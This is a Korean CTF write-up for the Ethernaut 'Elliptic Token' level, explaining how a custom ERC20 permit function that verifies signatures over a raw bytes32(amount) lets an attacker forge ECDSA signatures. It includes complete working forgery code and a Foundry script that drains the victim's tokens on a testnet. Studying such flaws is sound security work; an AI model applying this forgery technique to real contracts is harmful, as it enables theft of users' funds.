[Ethernaut] 35. Elliptic Token

1. 문제

BOB created and owns a new ERC20 token with an elliptic curve–based signed voucher redemption system called EllipticToken ($ETK). Bob can create vouchers off-chain that can be redeemed on-chain for $ETK. The contract also includes a permit system based on elliptic curve signatures.

Bob is a lazy developer and “optimized” some steps of the ECDSA algorithm. Can you find the flaw?

Your goal is to steal the $ETK tokens that ALICE (0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e) just redeemed.

  Things that might help:

Good luck. Elliptic curves do not forgive domain confusion.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ECDSA} from "openzeppelin-contracts-08/utils/cryptography/ECDSA.sol";
import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract EllipticToken is Ownable, ERC20 {
    error HashAlreadyUsed();
    error InvalidOwner();
    error InvalidReceiver();
    error InvalidSpender();

    constructor() ERC20("EllipticToken", "ETK") {}

    mapping(bytes32 => bool) public usedHashes;

    function redeemVoucher(
        uint256 amount,
        address receiver,
        bytes32 salt,
        bytes memory ownerSignature,
        bytes memory receiverSignature
    ) external {
        bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
        require(!usedHashes[voucherHash], HashAlreadyUsed());

        // Verify that the owner emitted the voucher
        require(ECDSA.recover(voucherHash, ownerSignature) == owner(), InvalidOwner());

        // Verify that the receiver accepted the voucher
        require(ECDSA.recover(voucherHash, receiverSignature) == receiver, InvalidReceiver());

        // Nullify the voucher
        usedHashes[voucherHash] = true;

        // Mint the tokens
        _mint(receiver, amount);
    }

    function permit(uint256 amount, address spender, bytes memory tokenOwnerSignature, bytes memory spenderSignature)
        external
    {
        bytes32 permitHash = keccak256(abi.encode(amount));
        require(!usedHashes[permitHash], HashAlreadyUsed());
        require(!usedHashes[bytes32(amount)], HashAlreadyUsed());

        // Recover the token owner that emitted the permit
        address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);

        // Verify that the spender accepted the permit
        bytes32 permitAcceptHash = keccak256(abi.encodePacked(tokenOwner, spender, amount));
        require(ECDSA.recover(permitAcceptHash, spenderSignature) == spender, InvalidSpender());

        // Nullify the permit
        usedHashes[permitHash] = true;

        // Approve the spender
        _approve(tokenOwner, spender, amount);
    }
}

2. 문제 해결 조건 확인

ALICE(이하 앨리스)가 리딤한 토큰을 모두 탈취해야 합니다. 앨리스의 잔액을 먼저 확인해 봅시다.

address instanceAddr = YOUR_INSTANCE_ADDRESS_HERE;
address aliceAddr = 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e;

EllipticToken ellipticToken = EllipticToken(instanceAddr);

uint256 aliceBalance = ellipticToken.balanceOf(aliceAddr);
uint256 decimals = ellipticToken.decimals();

console.log("Alice Balance:", aliceBalance / 10 ** decimals);

잔액이 굉장히 큰데, decimals가 18이라 실제로 가지고 있는 것은 10 ETK가 되겠군요. 앨리스의 10 ETK를 어떻게든 player의 소유로 옮겨줘야 하는데…

Traces:
  [13965] EllipticCoinScript::run()
    ├─ [0] VM::startBroadcast()
   └─ [Return]
    ├─ [2601] 0x08C4E3ec711d61d072215d76b855B76Dc188A321::balanceOf(0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e) [staticcall]
   └─ [Return] 10000000000000000000 [1e19]
    ├─ [199] 0x08C4E3ec711d61d072215d76b855B76Dc188A321::decimals() [staticcall]
   └─ [Return] 18
    ├─ [0] console::log("Alice Balance:", 10) [staticcall]
   └─ [Stop]
    ├─ [0] VM::stopBroadcast()
   └─ [Return]
    └─ [Stop]

 여기서는 `permit`의 개념을 잠깐 살펴보고 가겠습니다. 통상적으로는 ERC-20 표준에는 `approve` 함수를 통해 spender에서 amount만큼의 토큰을 사용할 수 있도록 허가해 주는 기능이 존재합니다. 하지만 이 기능은 토큰의 소유자가 직접 호출을 해야만 하므로 트랜잭션을 실행할 수수료가 부족한 상황에서는 활용이 어렵다는 단점이 있습니다.

approve(spender, amount)

 그래서 나온 개념이 `permit`입니다. 토큰의 소유자가 직접 `approve`해야 한다는 문제를 해결하기 위해, 제삼자가 대신 `approve` 실행해 줄 수 있는 기능을 새롭게 정의한 것이죠. 그렇다고 아무나 다른 누군가를 대신해 `permit` 함수를 실행할 수는 없습니다. 그렇게 되면 멋대로 `permit`을 실행하고 `transferFrom` 함수를 실행해 타인의 자금을 탈취할 수 있게 될 것입니다. 이것을 방지하기 위해 제삼자가 소유자의 소유권을 대신 검증할 수 있는 수단, 소유자의 서명을 받는 것이죠. 소유자의 서명을 함수의 인자로 넣어서 스마트 컨트랙트에서 먼저 서명을 검증 한 뒤에, 소유자의 서명이 맞다면 대신 `approve`를 실행할 권한을 제삼자에게 부여하는 것입니다.

 이와 관련해서 ERC-2612 Permit이라는 표준안이 존재하는데, 밥은 `permit` 로직을 제멋대로 구현한 것으로 보입니다. 밥이 도대체 무엇을 최적화한 건지는 모르겠지만, 이 문제를 해결하기 위한 관건은 `permit`을 통해 앨리스대신 player에게 앨리스의 토큰을 사용할 권한을 부여한 뒤에, `transferFrom`을 사용해 앨리스의 모든 토큰을 player에게 전송하는 것이 되겠습니다.


3. 단서 찾기

단서 1

 `permit` 함수를 실행하기 위해 토큰 소유자(앨리스)의 서명이 필요한데 앨리스의 비밀키나 니모닉을 알지도 못하는데 서명을 어떻게 획득할 수 있을까요? 사실 서명을 어딘가에서 새로 만들어올 필요는 없어 보입니다. 분명 앨리스는 `redeemVoucher` 함수를 호출하여 토큰을 리딤했고, 이때 함수의 파라미터로 자신의 서명(receiverSignature)을 함께 전달을 했죠. 이것을 어떻게 재사용할 수는 없을까요?

 `redeemVoucher` 함수에서는 계산된 voucherHash와 서명 receiverSignature를 사용해 ecrecover를 호출하여 receiver의 주소를 복원합니다. 그리고 사용한 voucherHash를 사용한 것으로 처리하고 있죠.

// redeemVoucher(amount,receiver,salt,ownerSignature,receiverSignature)

bytes32 voucherHash = keccak256(abi.encodePacked(amount, receiver, salt));
require(!usedHashes[voucherHash], HashAlreadyUsed());

...

// Verify that the receiver accepted the voucher
require(ECDSA.recover(voucherHash, receiverSignature) == receiver, InvalidReceiver());

// Nullify the voucher
usedHashes[voucherHash] = true;

 `permit` 함수에서는 uint256 타입의 amount를 bytes32 타입으로 캐스팅하여 해시처럼 사용하려고 합니다. 그리고 bytes32(amount)와 서명 tokenOwnerSignature를 사용하여 tokenOwner 주소를 복원하고 있어요. amount를 앨리스가 `redeemVoucher` 함수를 호출할 때 계산된 voucherHash를 uint256 타입으로 캐스팅하여 사용하고, tokenOwnerSignature는 receiverSignature 재사용하여 넣어주면 tokenOwner 주소로 앨리스의 주소가 나올 것입니다.

require(!usedHashes[bytes32(amount)], HashAlreadyUsed());

// Recover the token owner that emitted the permit
address tokenOwner = ECDSA.recover(bytes32(amount), tokenOwnerSignature);

 그런데 문제는 한 번 검증에 사용된 해시를 다시 사용할 수 없게 하는 장치가 마련되어 있습니다. 즉, 앨리스가 `redeemVoucher` 함수를 호출할 때 계산된 voucherHash는 더 이상 사용할 수 없는 것이지요. 아무래도 서명을 그대로 재사용하는 것은 불가능해 보입니다.

// Nullify the voucher
usedHashes[voucherHash] = true;

단서 2

 서명을 그대로 재사용하는 것은 불가능하지만 우리는 앨리스가 사용한 해시와 서명을 알 수 있습니다. 어떻게? `redeemVoucher` 함수가 반드시 한 번은 실행이 되었기 때문에 어딘가에 흔적이 남아있습니다. 그리고 해시와 서명을 알고 있으니, 앨리스의 공개키를 복원해 낼 수 있습니다.

import { recoverPublicKey } from "viem";

async function main() {
  const hash =
    "0x87f1c8cd4c0e19511304b612a9b4996f8c2bd795796636bd25812cd5b0b6a973";
  const signature =
    "0xab1dcd2a2a1c697715a62eb6522b7999d04aa952ffa2619988737ee675d9494f2b50ecce40040bcb29b5a8ca1da875968085f22b7c0a50f29a4851396251de121c";

  const publicKey = await recoverPublicKey({
    hash,
    signature,
  });

  console.log("alice's publicKey:", publicKey);
}

main();
alice's publicKey: 0x0433da8e7fe906411e4fc12842632ec77c2aee6a4324a4a3ca554b56667e4ccf97eda346ace5f9dce2781697ad353350c7509e1ffb491fedf49e37d4504185c676

 그런데 앨리스의 공개키를 알아냈다고 대체 무엇을 할 수 있을까요? 우리가 필요한 것은 bytes32(amount)에 대한 앨리스의 유효한 서명인데? 특정한 해시에 대한 서명을 만들어낼 수 있을까요?

 만들어낼 수 있습니다. 다만 여기서 중요한 건 ‘특정 해시에 대한 서명을 만들 수 있다’가 아니라 ‘먼저 유효한 서명을 구성하고, 그 서명이 가리키는 해시를 나중에 amount로 맞출 수 있다’는 점입니다.

우리가 지금까지 주목하지 않았던 bytes32(amount)를 다시 살펴봅시다. uint256 타입의 amount를 단순히 bytes32로 캐스팅해서(=동일한 비트 크기의 값을 타입만 변환) 검증 대상으로 쓰고 있고, keccak256나 abi.encodePacked 같은 추가적인 가공을 전혀 하지 않고 있습니다. bytes32(amount)는 단순한 비트 표현일 뿐이라, 검증 대상 해시를 우리가 원하는 값으로, 무엇으로든 대체할 수 있습니다.

작동 방식은 대략 다음과 같습니다:

  1. 이미 공개된 hash와 signature를 얻어 앨리스의 공개키 Q를 복원한다.
  2. 그 공개키로부터 임의의 (r, s) 쌍을 만들고, 해당 (r, s)에 대응하는 메시지 해시 e (32 bytes)를 계산한다.
  3. 컨트랙트는 bytes32(amount)를 그대로 해시로 쓰므로, amount = e로 전달하면 그 서명이 해당 amount에 대해 유효한 것으로 통과된다.

 이처럼 공개키와 공개된 서명/해시 정보를 이용해, 원래 서명자가 만들지 않은 (message, signature) 쌍을 만들고 검증을 통과시키는 행위를 Signature Spoofing이라고 합니다.


4. 공격

 앨리스의 공개키는 위에서 알아냈으니, 앨리스의 공개키를 반환하는 가짜 서명을 만들어 보겠습니다. 아래 내용은 타원곡선 암호(ECDSA)에 대한 기본적인 이해가 필요하오니, 참고 바랍니다.

가짜 서명 만들기

 우선 앨리스의 공개키를 Q, secp256k1 타원곡선의 생성점을 G, 그리고 유한순환군의 위수 N을 정의합니다.

const pubkeyHex = await recoverPublicKey({ hash, signature });

// Build Q from pubkey
const Q = secp256k1.Point.fromHex(pubkeyHex.slice(2));
const G = secp256k1.Point.BASE;
const N = BigInt(
  "0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141",
);

 공개키 Q는 개인키 d와 생성점 G의 스칼라 곱을 통해 계산된 타원곡선 위의 좌표(엄밀히 따지자면 직렬화된 형태이지만)입니다.

Q = dG

 k는 랜덤한 값, e는 메시지 해시를 가리키며 일반적으로 이더리움에서 사용되는 ECDSA 서명 (r, s)는 다음과 같이 구성됩니다.

R = kG
r = x(R) mod n
s = (e + rd) / k mod n

 그리고 다음과 같이 u와 생성점의 스칼라 곱과 v와 Q의 스칼라 곱을 더한 좌표 P의 x 값이 r(=R의 x값)과 동일한지 검증함으로써 서명의 유효성을 판단할 수 있습니다.

u1 = e / s mod n
u2 = r / s mod n
P = u1 * G + u2 * Q

 여기서 우리는 생성점 G와 앨리스의 공개키 Q를 알고 있습니다. 나머지는… 메시지 해시 e는 앨리스의 ETK 토큰 잔액보다만 크면 되는 임의의 값이면 되고, r과 s도 브루트포스 공격을 통해 유효한 값을 임의로 만들어내면 그만입니다.

먼저 r과 s를 만들어 봅시다. u1과 u2를 랜덤한 스칼라 값으로 생성합니다. 그리고 u2는 0이면 안된다는 조건만 추가로 검사해 줍니다. 0이 되면 역원을 구할 수 없기 때문에 나중에 r을 계산할 수 없게 됩니다.

// ---------- helpers ----------
function mod(a: bigint, m: bigint): bigint {
  const r = a % m;
  return r >= 0n ? r : r + m;
}

function invMod(a: bigint, m: bigint): bigint {
  // Extended Euclidean Algorithm
  let t = 0n,
    newT = 1n;
  let r = m,
    newR = mod(a, m);
  while (newR !== 0n) {
    const q = r / newR;
    [t, newT] = [newT, t - q * newT];
    [r, newR] = [newR, r - q * newR];
  }
  if (r !== 1n) throw new Error("Inverse does not exist");
  if (t < 0n) t += m;
  return t;
}

function randomScalar(): bigint {
  while (true) {
    const rb = randomBytes(32);
    const k = bytesToBigInt(rb);
    const s = mod(k, N - 1n) + 1n; // 1..n-1
    if (s !== 0n) return s;
  }
}

while (true) {
  const u1 = randomScalar();
  const u2 = randomScalar();
  if (u2 === 0n) continue;

  ...
}

 그리고 점 P를 계산합니다. 서명 유효성 판단 식에 따라 P의 x 좌표를 그대로 r로 사용하면 되고, 애초에 k나 비밀키 d를 알 수도 없으니 R은 굳이 계산하지 않습니다. 여기서 r이 0이 되면 s도 0이 되어서 역원을 계산할 수 없기 때문에 나중에 e를 계산할 수 없게 됩니다. 따라서 r이 0인지도 한 번 검사를 해줍니다.

// P = u1*G + u2*Q
const P = G.multiply(u1).add(Q.multiply(u2));
const { x, y } = P.toAffine();
const r = mod(x, N);
if (r === 0n) continue;

 다음으로 u2의 역원을 구한 뒤 r과 곱하여 s를 계산해 줍니다.

const u2Inv = invMod(u2, N);
let s = mod(r * u2Inv, N);
if (s === 0n) continue;

 P의 y좌표가 홀수인지 짝수인지 y parity 값을 계산해 줍니다. 저희가 서명 스푸핑으로 뒤통수를 치려는 것은 맞지만, 최소한 서명 가변성(signature malleability)을 방지하기 위해 low S(위수 N의 절반 이하의 값)로 정규화하여 서명을 생성하도록 합니다. 그리고 이렇게 버릇을 들이는 것이 실무적으로도 더 도움이 된답니다.

let yParity = Number(y & 1n);
// Enforce low-S canonical form
if (s > N / 2n) {
  s = N - s;
  yParity ^= 1; // flip parity because we negated s
}

const v = 27 + yParity; // Ethereum-style v

 자 이제 마지막으로 모든 재료가 준비되었으니 서명 해시 e를 계산해 줍니다. e = u1 * s라고 단순하게 계산할 수 없는 이유는, 앞서 정규화를 통해 low S가 사용되도록 변경이 일어났을 때 좌표 P의 부호가 바뀌게 됩니다. 그러면 P를 계산할 때 사용된 u1의 부호도 뒤집혀야 하기 때문에 단순히 u1 * s를 하게 되면 유효하지 않은 e 값이 도출될 수 있습니다. 부호가 변경된 s를 배제하고 u1과 u2 만으로 e를 계산하는 것이 s의 부호가 변경된 것과 무관하게 항상 유효한 e를 반환하게 됩니다.

u1 = e / s mod n
u2 = r / s mod n
e = r * u1 / u2

const e = mod(r * mod(u1 * u2Inv, N), N); // forged message hash

// should be grater than alice's ETK balance
if (e < 10 ** 18) continue;

const generatedSignature = serializeSignature({
  r: toHex(r),
  s: toHex(s),
  v: BigInt(v),
});

마지막으로, 지금까지 생성한 값들을 쫙 출력해 봅시다. 서명이 유효한지도 함께.

const out = await signatureSpoofing({ hash, signature });

const pubkeyHex = out.pubkeyHex;
const address = publicKeyToAddress(pubkeyHex);
const messageHash = toHex(out.e);
const serializedSignature = out.signature;

console.log("publicKey:", pubkeyHex);
console.log("address:", address); // 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e (alice)
console.log("message hash:", messageHash);
console.log("signature (r||s||v):", serializedSignature);
console.log(
  "verify:",
  await verifyHash({
    hash: messageHash,
    signature: serializedSignature,
    address,
  }),
);
yarn run signature-spoofing

...

publicKey: 0x0433da8e7fe906411e4fc12842632ec77c2aee6a4324a4a3ca554b56667e4ccf97eda346ace5f9dce2781697ad353350c7509e1ffb491fedf49e37d4504185c676
address: 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e
message hash: 0xebf90284f84cb6e234a8ecf9393afda9c0ede46f4d6df12bd11a4757c42903c0
signature (r||s||v): 0x0ab5b8262a97582b1971d68211e37be02ac5d16339cb0278edffc0a465d64aac7b06ed5cd7bc5798089feda2fac7b577ef49e1f2f84a6d2392ff26078f2192a01c
verify: true

서명 유효타!

Signature Spoofing 전체코드

import {
  bytesToBigInt,
  recoverPublicKey,
  serializeSignature,
  toHex,
  verifyHash,
  type Hex,
} from "viem";
import { publicKeyToAddress } from "viem/accounts";
import { secp256k1 } from "@noble/curves/secp256k1.js";
import { randomBytes } from "crypto";

const N = BigInt(
  "0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141",
);

// ---------- helpers ----------
function mod(a: bigint, m: bigint): bigint {
  const r = a % m;
  return r >= 0n ? r : r + m;
}
function invMod(a: bigint, m: bigint): bigint {
  // Extended Euclidean Algorithm
  let t = 0n,
    newT = 1n;
  let r = m,
    newR = mod(a, m);
  while (newR !== 0n) {
    const q = r / newR;
    [t, newT] = [newT, t - q * newT];
    [r, newR] = [newR, r - q * newR];
  }
  if (r !== 1n) throw new Error("Inverse does not exist");
  if (t < 0n) t += m;
  return t;
}

function randomScalar(): bigint {
  while (true) {
    const rb = randomBytes(32);
    const k = bytesToBigInt(rb);
    const s = mod(k, N - 1n) + 1n; // 1..n-1
    if (s !== 0n) return s;
  }
}

async function signatureSpoofing({
  hash,
  signature,
}: {
  hash: Hex;
  signature: Hex;
}) {
  // Recover public key (should be uncompressed)
  const pubkeyHex = await recoverPublicKey({
    hash,
    signature,
  });

  // Build Q from pubkey
  const Q = secp256k1.Point.fromHex(pubkeyHex.slice(2));
  const G = secp256k1.Point.BASE;

  while (true) {
    const u1 = randomScalar();
    const u2 = randomScalar();
    if (u2 === 0n) continue;
    // P = u1*G + u2*Q
    const P = G.multiply(u1).add(Q.multiply(u2));
    const { x, y } = P.toAffine();
    const r = mod(x, N);
    if (r === 0n) continue;

    const u2Inv = invMod(u2, N);
    let s = mod(r * u2Inv, N);
    if (s === 0n) continue;

    let yParity = Number(y & 1n);
    // Enforce low-S canonical form
    if (s > N / 2n) {
      s = N - s;
      yParity ^= 1; // flip parity because we negated s
    }
    const v = 27 + yParity; // Ethereum-style v
    const e = mod(r * mod(u1 * u2Inv, N), N); // forged message hash

    if (e < 10 ** 18) continue;

    const generatedSignature = serializeSignature({
      r: toHex(r),
      s: toHex(s),
      v: BigInt(v),
    });

    return {
      pubkeyHex,
      r,
      s,
      v,
      e,
      signature: generatedSignature,
    };
  }
}

// helper for EllipticCoin
async function main() {
  const hash =
    "0x87f1c8cd4c0e19511304b612a9b4996f8c2bd795796636bd25812cd5b0b6a973";
  const signature =
    "0xab1dcd2a2a1c697715a62eb6522b7999d04aa952ffa2619988737ee675d9494f2b50ecce40040bcb29b5a8ca1da875968085f22b7c0a50f29a4851396251de121c";

  const out = await signatureSpoofing({ hash, signature });

  const pubkeyHex = out.pubkeyHex;
  const address = publicKeyToAddress(pubkeyHex);
  const messageHash = toHex(out.e);
  const serializedSignature = out.signature;

  console.log("publicKey:", pubkeyHex);
  console.log("address:", address); // 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e (alice)
  console.log("message hash:", messageHash);
  console.log("signature (r||s||v):", serializedSignature);
  console.log(
    "verify:",
    await verifyHash({
      hash: messageHash,
      signature: serializedSignature,
      address,
    }),
  );
}

main().catch((err) => {
  console.error(err);
  process.exit(1);
});

스크립트 작성

amount 부분에 앞서 생성한 message hash값을, tokenOwnerSignature에는 serializedSignature(0x prefix 빼고)를 넣어줍니다. 그리고 permitHash에 대한 player의 서명도 생성해 줍니다. 이렇게 준비된 값들을 사용해 permit 함수를 먼저 호출해 주고, transferFrom 함수를 호출하여 앨리스의 잔액을 모조리 탈취하면 됩니다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import {Script, console} from "forge-std/Script.sol";
import {EllipticToken} from "src/35.EllipticCoin.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract EllipticCoinScript is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        address playerAddr = msg.sender;
        address instanceAddr = 0x40b415d35838E8f79058726aE4Ea2FcDf4773C10;
        address aliceAddr = 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e;

        EllipticToken ellipticToken = EllipticToken(instanceAddr);

        uint256 aliceBalance = ellipticToken.balanceOf(aliceAddr);

        uint256 amount = uint256(0xebf90284f84cb6e234a8ecf9393afda9c0ede46f4d6df12bd11a4757c42903c0); // message hash

        bytes memory tokenOwnerSignature =
            hex"0ab5b8262a97582b1971d68211e37be02ac5d16339cb0278edffc0a465d64aac7b06ed5cd7bc5798089feda2fac7b577ef49e1f2f84a6d2392ff26078f2192a01c";

        bytes32 permitHash = keccak256(abi.encodePacked(aliceAddr, playerAddr, amount));

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerAddr, permitHash); // sign the permit hash with spender

        bytes memory spenderSignature = abi.encodePacked(r, s, v);

        ellipticToken.permit(amount, playerAddr, tokenOwnerSignature, spenderSignature);
        ellipticToken.transferFrom(aliceAddr, playerAddr, aliceBalance);

        uint256 playerBalance = ellipticToken.balanceOf(playerAddr);

        console.log("Player Balance after transfer:", playerBalance);

        vm.stopBroadcast();
    }
}

스크립트 실행

forge script script/35.EllipticCoin2.s.sol --account dev --sender 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF --rpc-url sepolia --slow -vvvv
[] Compiling...
[] Compiling 3 files with Solc 0.6.12
[] Compiling 1 files with Solc 0.5.17
[] Compiling 61 files with Solc 0.8.28
[] Solc 0.6.12 finished in 1.11s
[] Solc 0.5.17 finished in 1.40s
[] Solc 0.8.28 finished in 2.93s

...

Traces:
  [105354] EllipticCoinScript::run()
    ├─ [0] VM::startBroadcast()
   └─ [Return]
    ├─ [2601] 0x40b415d35838E8f79058726aE4Ea2FcDf4773C10::balanceOf(0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e) [staticcall]
   └─ [Return] 10000000000000000000 [1e19]
    ├─ [0] VM::sign(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, 0xedc29d236576dead712f61e3864532732fe05fdf6d6db0b7a5c46aa6801f35af) [staticcall]
   └─ [Return] 28, 0x4af2dce1bc818f7b7e975a06a3432aaf9f3ba5bfb1ac0cdb2e40ecc429cee95f, 0x7b01aa4733fc302dc115c0507f22c5efbf203c7c972ffa90712f2f9f289dc6f0
    ├─ [55773] 0x40b415d35838E8f79058726aE4Ea2FcDf4773C10::permit(106733481724552079413840995192944365263996122713560066423495431982265785713600 [1.067e77], 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, 0x0ab5b8262a97582b1971d68211e37be02ac5d16339cb0278edffc0a465d64aac7b06ed5cd7bc5798089feda2fac7b577ef49e1f2f84a6d2392ff26078f2192a01c, 0x4af2dce1bc818f7b7e975a06a3432aaf9f3ba5bfb1ac0cdb2e40ecc429cee95f7b01aa4733fc302dc115c0507f22c5efbf203c7c972ffa90712f2f9f289dc6f01c)
   ├─ [3000] PRECOMPILES::ecrecover(0xebf90284f84cb6e234a8ecf9393afda9c0ede46f4d6df12bd11a4757c42903c0, 28, 4844198754848709991054467147243758894234810422036910171416004959743415569068, 55646719675049340998247538283955826437304217561388700846738426958872886481568) [staticcall]
   └─ [Return] 0x000000000000000000000000a11ce84acb91ac59b0a4e2945c9157ef3ab17d4e
   ├─ [3000] PRECOMPILES::ecrecover(0xedc29d236576dead712f61e3864532732fe05fdf6d6db0b7a5c46aa6801f35af, 28, 33900252254874384703302545397612304639320871655169189319896568161523066661215, 55637422439316383000225528940897539919454478288978688477449430763864172906224) [staticcall]
   └─ [Return] 0x000000000000000000000000965b0e63e00e7805569ee3b428cf96330dfc57ef
   ├─ emit Approval(owner: 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e, spender: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, value: 106733481724552079413840995192944365263996122713560066423495431982265785713600 [1.067e77])
   └─ [Stop]
    ├─ [30627] 0x40b415d35838E8f79058726aE4Ea2FcDf4773C10::transferFrom(0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e, 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, 10000000000000000000 [1e19])
   ├─ emit Approval(owner: 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e, spender: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, value: 106733481724552079413840995192944365263996122713560066423485431982265785713600 [1.067e77])
   ├─ emit Transfer(from: 0xA11CE84AcB91Ac59B0A4E2945C9157eF3Ab17D4e, to: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, value: 10000000000000000000 [1e19])
   └─ [Return] true
    ├─ [601] 0x40b415d35838E8f79058726aE4Ea2FcDf4773C10::balanceOf(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF) [staticcall]
   └─ [Return] 10000000000000000000 [1e19]
    ├─ [0] console::log("Player Balance after transfer:", 10000000000000000000 [1e19]) [staticcall]
   └─ [Stop]
    ├─ [0] VM::stopBroadcast()
   └─ [Return]
    └─ [Stop]

Script ran successfully.

== Logs ==
  Player Balance after transfer: 10000000000000000000
  
...

==========================

##### sepolia
  [Success] Hash: 0xe00e0570a88444ba83fb0dbf2657d814e30dd457f262c8a9d379853aff74a03a
Block: 9340340
Paid: 0.00000008060967509 ETH (80605 gas * 0.001000058 gwei)

##### sepolia
  [Success] Hash: 0x3e6864c8de9d4f197df2d7debe67f5a4cc1df0e9cb6412c5412d38506c54191c
Block: 9340341
Paid: 0.000000054630222993 ETH (54627 gas * 0.001000059 gwei)

 Sequence #1 on sepolia | Total Paid: 0.000000135239898083 ETH (135232 gas * avg 0.001000058 gwei)

제출


오늘의 교훈

 밥은 어째서 이미 충분히 검증된 ERC-2612 표준을 사용하지 않고 직접 로직을 구현하는 힙스터 행동을 한 것일까요? 물론 본인이 더 나은 것을 만들어낼 수 있다고 충분히 생각할 수 있습니다. 그러나 이더리움 표준안은 내로라하는 석박 또는 그에 준하는 인재들이 짱구를 맞대고 만들어낸 것이라는 점을 잊어서는 안됩니다.

 그보다도 근본적으로는 ‘bytes32(amount)‘와 같이 서명 검증에 사용할 데이터를 공격자가 임의로 선택할 수 있었다는 점에서 가장 큰 문제가 있었다고 봅니다. keccack256 함수를 사용해 해싱만 했더라도 공격자에게 칼자루가 쉽게 넘어가지는 않았을텐데 말이죠. 그 외에 온체인 서명 검증을 위한 논스를 별도로 관리한다거나, EIP-712 typed data를 활용한다거나, low S를 강제하는 등의 여러 장치들이 있습니다. 근데 웬만하면 표준 사용하세요.


전체 코드